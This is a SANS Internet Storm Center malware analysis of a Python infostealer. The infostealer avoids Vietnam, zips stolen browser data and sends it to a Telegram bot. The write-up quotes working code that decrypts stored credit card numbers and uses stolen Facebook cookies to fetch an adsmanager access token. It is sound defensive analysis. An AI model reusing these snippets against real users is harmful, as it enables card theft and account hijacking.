These days, many pieces of malware are flagged as “infostealers” because, once running on the victim’s computer, they search for interesting data and exfiltrate them. Classic collected data are:
credentials
cookies
cryptocurrency details
technical information about the victim (public IP, OS version running processes, etc)
…
Credentials and cookies are used to take over web services used by the victim. For convenience, many people use the “remember me” feature on many websites. This allows the user to come back later to the websites without the need to authenticate again for a specific amount of time (ex: 1 day, 1 week, … sometimes “forever”!)
If some cookies are fascinating (ex: access to webmail, corporate services, …), what could be a practical example of abuse? Yesterday, I found another malicious Python script that behaves like an infostealer. It collects data from the following browsers:
Opera
Brave
Mozilla (Firefox)
Chrome
Edge
Coc Coc[1]
“Coc Coc” is a browser popular in Vietnam.
The script starts by collecting some details about the victim’s computer and, based on the public IP address, the country. This information is used to prevent the malware from being active in Vietnam:
await GetInfoPC.get_all_info_pc()
if country.lower() == “vn”:
send_telegram_message(tokenbot_default,chatid_default,”Tool b? ch?n t?i Vi?t Nam!”)
else:
…
The malware used a Telegram bot as C2 server. The first message sent to the bot is in Vietnamese and means “Tool is blocked in Vietnam!”.
The basic behavior is classic: it extracts juicy data from installed browsers, takes a screenshot, and saves everything into a random directory:
rootPath = os.path.join(local_appdata, “Public Application” + ”.join(random.choices(‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789’, k=3)))
Data is compressed and exfiltrated to the Telegram bot:
if status == 1: # status is set if at least one targeted browser is found
giaiMaData(rootPath)
zipPath = os.path.join(local_appdata, f”{country}_{bot_id}_{datetime.now().strftime(‘%d-%m-%Y %H-%M-%S’)}.zip”)
if os.path.exists(zipPath):
os.remove(zipPath)
with zipfile.ZipFile(zipPath, ‘w’, zipfile.ZIP_DEFLATED) as zip_file:
for root, dirs, files in os.walk(rootPath):
for file in files:
file_path = os.path.join(root, file)
zip_file.write(file_path, os.path.relpath(file_path, rootPath))
await SendData.send_to_tele(zipPath)
os.remove(zipPath)
shutil.rmtree(rootPath)
The following piece of code will convince you that storing your credit card details in a browser is not the best idea:
def base_chromium_getCreditCard(chromium_path, secret_key):
credit_cards = []
#Search user profile or default folder (this is where the encrypted login password is stored)
folders = [name for name in os.listdir(chromium_path) if os.path.isdir(os.path.join(chromium_path, name))]
for folder in folders:
try:
#(2) Get ciphertext from sqlite database
chrome_path_login_db = os.path.normpath(r”%s%sWeb Data”%(chromium_path,folder))
conn = sqlite3.connect(chrome_path_login_db)
if(secret_key and conn):
cursor = conn.cursor()
cursor.execute(“SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards”)
for index,creditCard in enumerate(cursor.fetchall()):
name = creditCard[0]
month = creditCard[1]
year = creditCard[2]
card_number = creditCard[3]
if(card_number!=””):
#(3) Filter the initialisation vector & encrypted password from ciphertext
#(4) Use AES algorithm to decrypt the password
decrypted_card_number = decrypt_password(card_number, secret_key)
credit_cards.append({‘name’ : name, ‘expiration’ : str(month)+”/”+str(year), ‘card_number’ : decrypted_card_number, ‘app’ : chromium_path.split(“\”)[2]+”-“+folder})
#Close database connection
cursor.close()
conn.close()
except Exception as e:
print(‘[ERR] error when decrypting credit card’)
print(“%s”%str(e))
return credit_cards
Then, we have in this script an excellent example of session cookies abuse:
In the function “base_firefox_getCookies(), there is this piece of code:
if len(cookieFBArray) > 0:
try:
cookieFB = “;”.join(cookieFBArray)
headers = {
‘authority’: ‘adsmanager.facebook.com’,
‘accept’: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7’,
‘accept-language’: ‘vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5’,
‘cache-control’: ‘max-age=0’,
‘sec-ch-prefers-color-scheme’: ‘dark’,
‘sec-ch-ua’: ‘”Chromium”;v=”112″, “Google Chrome”;v=”112″, “Not:A-Brand”;v=”99″‘,
‘sec-ch-ua-full-version-list’: ‘”Chromium”;v=”112.0.5615.140″, “Google Chrome”;v=”112.0.5615.140″, “Not:A-Brand”;v=”99.0.0.0″‘,
‘sec-ch-ua-mobile’: ‘?0’,
‘sec-ch-ua-platform’: ‘”Windows”‘,
‘sec-ch-ua-platform-version’: ‘”15.0.0″‘,
‘sec-fetch-dest’: ‘document’,
‘sec-fetch-mode’: ‘navigate’,
‘sec-fetch-site’: ‘same-origin’,
‘sec-fetch-user’: ‘?1’,
‘upgrade-insecure-requests’: ‘1’,
‘user-agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36’,
‘viewport-width’: ‘794’,
}
pcookieFB = parse_cookie(cookieFB)
id,token= get_market(pcookieFB,headers)
If cookies related to Facebook are discovered, they are used to get a token from the adsmanager[.]facebook[.]com website:
def get_market(cookies,headers):
rq = requests.get(‘https://adsmanager.facebook.com/adsmanager/manage’,cookies=cookies,headers=headers)
list_data = rq.text
x = list_data.split(“act=”)
idx = x[1].split(‘&’)[0]
id = ‘act_’+idx
rq = requests.get(f’https://adsmanager.facebook.com/adsmanager/manage/campaigns?act={idx}&breakdown_regrouping=0′,cookies=cookies,headers=headers)
list_token = rq.text
x_token = list_token.split(‘{window.__accessToken=”‘)
token = (x_token[1].split(‘”;’)[0])
return id,token
This service helps you to create and manage advertisement campaigns on Facebook! The malware will grab all details about the campaigns, budget, etc. AFAIK, it won’t modify anything, just exfiltrates all data. But, now that the attacker has full details, worse things may happen!
The bot is alive but seems to be idle… I
curl -s “https://api[.]telegram[.]org/bot6453235***:AAHa67pMUGuvhmEuR0plPhzWLQsMd-qA***/getMe” | jq .
{
“ok”: true,
“result”: {
“id”: 6453235***,
“is_bot”: true,
“first_name”: “bot_cham_bat_new”,
“username”: “bot_cham_bat_new_bot”,
“can_join_groups”: true,
“can_read_all_group_messages”: false,
“supports_inline_queries”: false
}
}
The Python script is on VT[2] and has currently a score of 6/60.
[1] https://coccoc.com/en
[2] https://www.virustotal.com/gui/file/2f3b5227679782a4859eed78c77efc682286beb21499ac369c3bfffcb0e6a3e2/detection
Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.